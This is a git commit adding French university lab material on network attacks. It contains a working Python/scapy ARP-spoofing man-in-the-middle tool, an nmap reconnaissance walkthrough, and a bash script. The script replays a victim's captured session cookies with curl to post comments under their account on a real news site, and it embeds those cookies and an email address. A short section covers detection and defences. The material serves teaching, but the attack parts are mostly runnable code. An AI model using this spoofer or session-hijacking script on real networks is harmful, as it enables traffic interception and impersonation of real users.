Add security TDM2
This commit is contained in:
parent
d6c608b571
commit
7287c65a2b
3 changed files with 315 additions and 0 deletions
BIN
content/securite/TDM_2-securite_reseaux/files/TP2.pdf
Normal file
BIN
content/securite/TDM_2-securite_reseaux/files/TP2.pdf
Normal file
Binary file not shown.
91
content/securite/TDM_2-securite_reseaux/files/mitm_arp
Normal file
91
content/securite/TDM_2-securite_reseaux/files/mitm_arp
Normal file
|
@ -0,0 +1,91 @@
|
||||||
|
#!/usr/bin/env python2
|
||||||
|
|
||||||
|
from scapy.all import *
|
||||||
|
from argparse import ArgumentParser
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import traceback
|
||||||
|
import os
|
||||||
|
|
||||||
|
parser = ArgumentParser(description="ARP Spoofer")
|
||||||
|
parser.add_argument(dest="host", metavar="host", nargs=1, help="IP of the host to spoof")
|
||||||
|
parser.add_argument("-i","--interface", help="Interface to use")
|
||||||
|
parser.add_argument("-t","--target", required=True, help="IP of the target your are poisoning")
|
||||||
|
parser.add_argument("-d","--delay", default=2, help="ARP packet frequency in seconds")
|
||||||
|
parser.add_argument("-r","--both", dest="both", action="store_true", help="ARP cache poison both target and ")
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
target_ip = args.target
|
||||||
|
gw_ip = args.host[0]
|
||||||
|
|
||||||
|
#Disable ICMP redirects
|
||||||
|
print "*Disable ICMP redirects"
|
||||||
|
for iface in get_if_list():
|
||||||
|
os.system("sysctl -w net.ipv4.conf.{}.send_redirects=0".format(iface))
|
||||||
|
|
||||||
|
#Fetch victim and gateway MAC address
|
||||||
|
try:
|
||||||
|
target_ip = [ip for ip in IP(dst=target_ip)][0].dst
|
||||||
|
target_hw = getmacbyip(target_ip)
|
||||||
|
gw_ip = [ip for ip in IP(dst=gw_ip)][0].dst
|
||||||
|
gw_hw = getmacbyip(gw_ip)
|
||||||
|
except:
|
||||||
|
print "Invalid parameter"
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
print "*Using target MAC address {}".format(target_hw)
|
||||||
|
print "*Using host MAC address {}".format(gw_hw)
|
||||||
|
|
||||||
|
if args.interface:
|
||||||
|
try:
|
||||||
|
own_hw = get_if_hwaddr(args.interface)
|
||||||
|
print "*Using own MAC address {}".format(own_hw)
|
||||||
|
except:
|
||||||
|
print "Invalid network interface {}".format(args.interface)
|
||||||
|
sys.exit(1)
|
||||||
|
else:
|
||||||
|
#fetch hwsrc
|
||||||
|
fetch_own_mac = Ether()/ARP(pdst=gw_ip)
|
||||||
|
own_hw = fetch_own_mac.src
|
||||||
|
print "*Using own MAC address {}".format(own_hw)
|
||||||
|
|
||||||
|
|
||||||
|
if not target_hw or not gw_hw or not own_hw:
|
||||||
|
print "-----------------------------------------------------"
|
||||||
|
print "First use initialisation done ! launch the tool again"
|
||||||
|
print "-----------------------------------------------------"
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
to_target = Ether()/ARP(op=2, psrc=gw_ip, hwsrc=own_hw, pdst=target_ip, hwdst=target_hw)
|
||||||
|
to_gw = Ether()/ARP(op=2, psrc=target_ip, hwsrc=own_hw, pdst=gw_ip, hwdst=gw_hw)
|
||||||
|
|
||||||
|
antidote_to_target = Ether()/ARP(op=2, psrc=gw_ip, hwsrc=gw_hw, pdst=target_ip, hwdst=target_hw)
|
||||||
|
antidote_to_gw = Ether()/ARP(op=2, psrc=target_ip, hwsrc=target_hw, pdst=gw_ip, hwdst=gw_hw)
|
||||||
|
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
#Spoofing target
|
||||||
|
print "Spoofing target {} ==> arp-reply {} is at {}".format(target_ip, gw_ip, own_hw)
|
||||||
|
sendp(to_target, verbose=False)
|
||||||
|
|
||||||
|
#Spoofing gateway
|
||||||
|
if args.both:
|
||||||
|
print "Spoofing gateway {} ==> arp-reply {} is at {}".format(gw_ip, target_ip, own_hw)
|
||||||
|
sendp(to_gw, verbose=False)
|
||||||
|
|
||||||
|
time.sleep(args.delay)
|
||||||
|
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print
|
||||||
|
print "*Restoring true ARP cache for target (and gateway)..."
|
||||||
|
for i in range(2):
|
||||||
|
#Antidote target
|
||||||
|
print "Antidoting target {} ==> arp-reply {} is at {}".format(target_ip, gw_ip, gw_hw)
|
||||||
|
sendp(antidote_to_target, verbose=False)
|
||||||
|
|
||||||
|
#Antidote gateway
|
||||||
|
if args.both:
|
||||||
|
print "Antidoting gateway {} ==> arp-reply {} is at {}".format(gw_ip, target_ip, target_hw)
|
||||||
|
sendp(antidote_to_gw, verbose=False)
|
||||||
|
|
||||||
|
time.sleep(args.delay)
|
224
content/securite/TDM_2-securite_reseaux/index.md
Normal file
224
content/securite/TDM_2-securite_reseaux/index.md
Normal file
|
@ -0,0 +1,224 @@
|
||||||
|
---
|
||||||
|
title: "TDM : Sécurité des réseaux"
|
||||||
|
date: 2019-02-06
|
||||||
|
categories: ['Sécurité', 'TD machine']
|
||||||
|
tags : ['ARP spoofing', 'MITM', 'réseaux', 'kali']
|
||||||
|
---
|
||||||
|
|
||||||
|
L'objectif de ce TD est de prendre en main des outils pour mettre en place une
|
||||||
|
attaque du type *Man In The Middle*. Nous allons utiliser `nmap`, `wireshark`,
|
||||||
|
`SSLStrip`, `DNS2Proxy`.
|
||||||
|
|
||||||
|
La pierre angulaire de notre attaque est l'*ARP spoofing*, notre attaque repose
|
||||||
|
ici sur le réseau local où est connecté notre victime. Le principe est simple :
|
||||||
|
l'empoisonnement du cache *ARP* de notre victime en l'inondant d'annonce.
|
||||||
|
|
||||||
|
## Découverte réseau : nmap
|
||||||
|
|
||||||
|
Avant de passer à l'attaque, il est nécessaire de cartographier le réseau sur
|
||||||
|
lequel nous sommes connectés. L'outil tout indiqué pour ce travail est `nmap`.
|
||||||
|
|
||||||
|
### les hôtes connectes
|
||||||
|
|
||||||
|
Nous allons commencer par essayer de découvrir les hôtes connectés sur notre
|
||||||
|
réseau local avec l'argument `-sP` suivi de l'adresse réseau à analyser :
|
||||||
|
|
||||||
|
```
|
||||||
|
nmap -sP 192.168.3.0/24
|
||||||
|
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-06 21:21 CET
|
||||||
|
Nmap scan report for 192.168.0.113
|
||||||
|
Host is up (0.040s latency).
|
||||||
|
Nmap scan report for 192.168.3.126
|
||||||
|
Host is up (0.000093s latency).
|
||||||
|
Nmap scan report for 192.168.3.230
|
||||||
|
Host is up (0.026s latency).
|
||||||
|
Nmap scan report for 192.168.3.240
|
||||||
|
Host is up (0.013s latency).
|
||||||
|
Nmap scan report for 192.168.3.241
|
||||||
|
Host is up (0.027s latency).
|
||||||
|
Nmap done: 256 IP addresses (10 hosts up) scanned in 6.47 seconds
|
||||||
|
```
|
||||||
|
|
||||||
|
Nmap affiche toutes les machines qu'il a trouvé sur le réseau. Il utilise le
|
||||||
|
ping ARP pour chercher les machines.
|
||||||
|
|
||||||
|
### scanner les ports.
|
||||||
|
|
||||||
|
Il est possible de scanner les ports sur une ou une machine ou un réseau
|
||||||
|
(notation CIDR). Dans l'exemple suivant, nous allons scanner une machine du
|
||||||
|
réseau pour trouver les ports TCP ouverts :
|
||||||
|
|
||||||
|
```
|
||||||
|
nmap -sS 192.168.3.230
|
||||||
|
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-06 21:30 CET
|
||||||
|
Nmap scan report for 192.168.3.230
|
||||||
|
Host is up (0.0032s latency).
|
||||||
|
Not shown: 995 closed ports
|
||||||
|
PORT STATE SERVICE
|
||||||
|
22/tcp open ssh
|
||||||
|
111/tcp open rpcbind
|
||||||
|
139/tcp open netbios-ssn
|
||||||
|
445/tcp open microsoft-ds
|
||||||
|
8080/tcp open http-proxy
|
||||||
|
MAC Address: XX:XX:XX:XX:XX:XX (HAL dreamer machine)
|
||||||
|
|
||||||
|
Nmap done: 1 IP address (1 host up) scanned in 0.61 seconds
|
||||||
|
```
|
||||||
|
|
||||||
|
Il est possible de spécifier les ports à tester avec l'argument `-p` suivi de un
|
||||||
|
ou plusieurs ports (séparés par un virgule), et afficher seulement les machines
|
||||||
|
dont ce(s) port(s) sont ouverts avec l'argument `--open`.
|
||||||
|
|
||||||
|
### Obtenir plus d'informations
|
||||||
|
|
||||||
|
Nmap permet aussi d'en apprendre plus un les machines connectées comme le type
|
||||||
|
de services tournant, les version de serveurs web et autres informations utiles
|
||||||
|
:
|
||||||
|
|
||||||
|
```
|
||||||
|
nmap -sC 192.168.0.230
|
||||||
|
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-06 22:25 CET
|
||||||
|
Nmap scan report for 192.168.0.230
|
||||||
|
Host is up (0.0025s latency).
|
||||||
|
Not shown: 995 closed ports
|
||||||
|
PORT STATE SERVICE
|
||||||
|
22/tcp open ssh
|
||||||
|
| ssh-hostkey:
|
||||||
|
| 2048 7f:bf:b2:cf:47:7e:19:b7:95:4c:64:27:bb:0f:e2:c9 (RSA)
|
||||||
|
| 256 6c:ab:29:6c:3f:ab:00:dc:59:5f:a7:d7:d3:c9:ac:fe (ECDSA)
|
||||||
|
|_ 256 7a:f5:d4:52:e9:c8:06:0e:6d:af:e8:8d:2e:57:d6:0b (ED25519)
|
||||||
|
111/tcp open rpcbind
|
||||||
|
| rpcinfo:
|
||||||
|
| program version port/proto service
|
||||||
|
| 100000 2,3,4 111/tcp rpcbind
|
||||||
|
|_ 100000 2,3,4 111/udp rpcbind
|
||||||
|
139/tcp open netbios-ssn
|
||||||
|
445/tcp open microsoft-ds
|
||||||
|
8080/tcp open http-proxy
|
||||||
|
|_http-title: Site doesn't have a title.
|
||||||
|
MAC Address: C8:9C:DC:2A:6A:39 (Elitegroup Computer Systems)
|
||||||
|
|
||||||
|
Host script results:
|
||||||
|
|_nbstat: NetBIOS name: MEDIACENTER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
|
||||||
|
| smb2-security-mode:
|
||||||
|
| 2.10:
|
||||||
|
|_ Message signing enabled but not required
|
||||||
|
|_smb2-time: Protocol negotiation failed (SMB2)
|
||||||
|
|
||||||
|
Nmap done: 1 IP address (1 host up) scanned in 1.39 seconds
|
||||||
|
```
|
||||||
|
|
||||||
|
Nous retrouvons ici beaucoup d'informations mais il est possible d'en apprendre
|
||||||
|
plus en rajoutant les paramètres `-a -V`.
|
||||||
|
|
||||||
|
## ARP cache poisoning
|
||||||
|
|
||||||
|
C'est là que commencent les choses sérieuses : nous allons empoisonner le cache
|
||||||
|
APR de notre victime et ainsi faire passer l'ensemble de son trafic vers notre
|
||||||
|
machine.
|
||||||
|
|
||||||
|
Nous utiliserons pour cela un [script python](./files/mitm_arp). Il est
|
||||||
|
nécessaire d'installer `python2-scapy` (soit dans un `virtualenv` soir par le
|
||||||
|
gestionnaire de paquets).
|
||||||
|
|
||||||
|
```
|
||||||
|
python2 mitm_arp 192.168.3.254 -t 192.168.3.230 -r
|
||||||
|
[...]
|
||||||
|
```
|
||||||
|
|
||||||
|
- La première adresse IP est celle de notre routeur.
|
||||||
|
- `-t <ip>` est l'adresse IP de notre victime
|
||||||
|
- `-r` permet de spécifier au script de fonctionner dans les deux sens
|
||||||
|
(renvoyer les données reçu du routeur pour notre victime à cette dernière)
|
||||||
|
|
||||||
|
Il ne fait pas oublier d'activer le `forward` de paquets sur notre machine :
|
||||||
|
|
||||||
|
```
|
||||||
|
echo 1 > /proc/sys/net/ipv4/ip_forward
|
||||||
|
```
|
||||||
|
|
||||||
|
Mais aussi désactiver l'annonce de redirection par paquets ICMP redirect:
|
||||||
|
|
||||||
|
```
|
||||||
|
echo 0 | tee /proc/sys/net/ipv4/conf/*/send_redirects
|
||||||
|
```
|
||||||
|
|
||||||
|
### Détecter l'empoisonnement
|
||||||
|
|
||||||
|
Il est possible de détecter un empoisonnement du cache ARP avec la commande
|
||||||
|
`traceroute`. En effet celle ci laisse apparaitre un saut supplémentaire entre
|
||||||
|
la machine de la victime et la passerelle (notre machine attaquant)
|
||||||
|
|
||||||
|
### Se prémunir
|
||||||
|
|
||||||
|
Il est possible, au niveau d'un ordinateur personnel d'écrire un script
|
||||||
|
vérifiant les changements effectués dans le cache ou l'ajout d'un saut dans un
|
||||||
|
`traceroute`.
|
||||||
|
|
||||||
|
Au niveau des switches, il existe des protections comme le DPA pour *Deep Arp
|
||||||
|
Inspection* ou encore l'*ARP Snooping*
|
||||||
|
|
||||||
|
## Analyser les trames
|
||||||
|
|
||||||
|
Une fois la machine de notre victime compromise, nous pouvons commencer
|
||||||
|
l'analyse du trafic réseau pour en extraire des informations utiles. Le
|
||||||
|
logiciel phare dans ce domaine est [wireshark](https://www.wireshark.org/). Il
|
||||||
|
permet d'inspecter en profondeur les trames réseaux, de filtrer les résultats
|
||||||
|
et bien d'autres choses.
|
||||||
|
|
||||||
|
Ici l'analyse en profondeur des paquets ne pourra se faire seulement lorsque la
|
||||||
|
connexion n'est pas chiffrée (pour l'instant).
|
||||||
|
|
||||||
|
### usurpation d'identité su charentelibre.fr
|
||||||
|
|
||||||
|
Ce site propose une navigation en HTTP (dans TLS), notre victime est inscrite et
|
||||||
|
poste un commentaire. L'ensemble du trafic est disponible sur wireshark.
|
||||||
|
|
||||||
|
#### Récupération des éléments
|
||||||
|
|
||||||
|
Partons à la recherche d'une requête `POST`, déplions la trame pour obtenir
|
||||||
|
l'ensemble des informations et récupérons, dans les entêtes, le cookie
|
||||||
|
d'identification, le `Referer` et le champ `data`
|
||||||
|
|
||||||
|
#### Création d'un script pour poster des commentaires
|
||||||
|
|
||||||
|
Maintenant que nous avons les informations utiles, nous allons utiliser lers
|
||||||
|
informations précédemment récupérées
|
||||||
|
|
||||||
|
Voici le script créé pour l'occasion :
|
||||||
|
|
||||||
|
```bash
|
||||||
|
#!/bin/bash
|
||||||
|
|
||||||
|
USERAGENT="Mozilla/5.0 (X11; Linux x86_64; rv:65.0) Gecko/20100101 Firefox/65.0"
|
||||||
|
|
||||||
|
COOKIE="charlib_SESSION=267822d64d4226ccd6ee9a93d9cda6e2; userinfo=%7B%22id_sso%22%3A%2264145%22%2C%22logindate%22%3A1549461426%7D; charlib_FacebookConnect_1=%7B%22FacebookConnect%22%3Anull%7D; PHPSESSID=660cfbd1e4adb3e6029e4699ce7a299c; charlib_SSO_1=%7B%22Infos%22%3A%7B%22id_sso%22%3A%2264145%22%2C%22civilite%22%3Anull%2C%22nom%22%3A%22%22%2C%22prenom%22%3A%22%22%2C%22mail%22%3A%22lipsamepso%40ezehe.com%22%2C%22societe%22%3Anull%2C%22insee%22%3Anull%2C%22pseudo%22%3A%22Ano64145%22%2C%22type_compte%22%3A%22U%22%2C%22statut_mail_confirme%22%3A%222%22%2C%22check_string%22%3A%22dfb619ebcb701a68bc1f88a7e3cf0b02%22%7D%7D"
|
||||||
|
|
||||||
|
REFERER="http://www.charentelibre.fr/2019/02/06/epidemie-de-grippe-la-nouvelle-aquitaine-region-la-plus-touchee-deja-plus-de-1-000-morts-en-france,3383998.php"
|
||||||
|
|
||||||
|
URL="http://profil.charentelibre.fr/remote/reagir_commentaire_poster.php"
|
||||||
|
|
||||||
|
DATA="jsonpCallback=var+send%3Dfunction%28msg%29%7B+window.top.postMessage%28msg%2C+%22*%22%29%7D%3B+send&info_id=3383998&info_url=%2F2019%2F02%2F06%2Fepidemie-de-grippe-la-nouvelle-aquitaine-region-la-plus-touchee-deja-plus-de-1-000-morts-en-france%2C3383998.php&reag_date=20190206&info_reagir=1"
|
||||||
|
|
||||||
|
BASEENC=$(echo "$@" | base64)
|
||||||
|
echo "send : $BASEENC"
|
||||||
|
|
||||||
|
curl -X POST --data "${DATA}" --data-urlencode "reagtxt=${BASEENC}" --header "User-Agent:${USERAGENT}" --header "Cookie:${COOKIE}" --header "Referer:${REFERER}" ${URL}
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
exit $?
|
||||||
|
```
|
||||||
|
|
||||||
|
Les commentaires pour le site charentelibre.fr sont envoyés encodés en base64
|
||||||
|
dans la variable `reagtxt`, le script encode donc tout ce qui est passé en
|
||||||
|
paramètre puis `curl` encode le tout avant de l'envoyer avec `--data-urlencode`
|
||||||
|
|
||||||
|
## Le cas HTTPS
|
||||||
|
|
||||||
|
Capturer, analyser et forger des requêtes HTTP est simple lorsque le trafic
|
||||||
|
passe en clair. Dès qu'une couche de chiffrement rentre en jeu, tout devient
|
||||||
|
bien plus compliqué.
|
||||||
|
|
||||||
|
Dans le cas du HTTPS, nous pouvons compter sur deux logiciels complémentaires :
|
||||||
|
[SSLStrip2](https://github.com/byt3bl33d3r/sslstrip2) et [DNS2Proxy](https://github.com/LeonardoNve/dns2proxy)
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue